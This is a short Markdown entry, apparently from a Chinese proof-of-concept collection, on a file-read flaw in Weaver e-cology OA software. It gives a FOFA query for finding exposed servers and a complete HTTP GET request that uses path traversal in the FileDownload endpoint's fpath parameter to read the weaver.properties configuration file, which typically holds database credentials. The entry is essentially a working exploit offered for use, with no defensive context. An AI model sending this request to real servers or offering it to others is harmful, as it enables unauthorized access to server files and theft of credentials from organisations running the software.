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+## 泛微OA-E-Cology-FileDownload文件读取漏洞
+
+
+## fofa
+```
+app="泛微-OA（e-cology）"
+```
+
+## poc
+```
+GET /weaver/ln.FileDownload?fpath=../ecology/WEB-INF/prop/weaver.properties HTTP/1.1
+Host: 
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
+Accept-Encoding: gzip, deflate
+Connection: close
+Upgrade-Insecure-Requests: 1
+```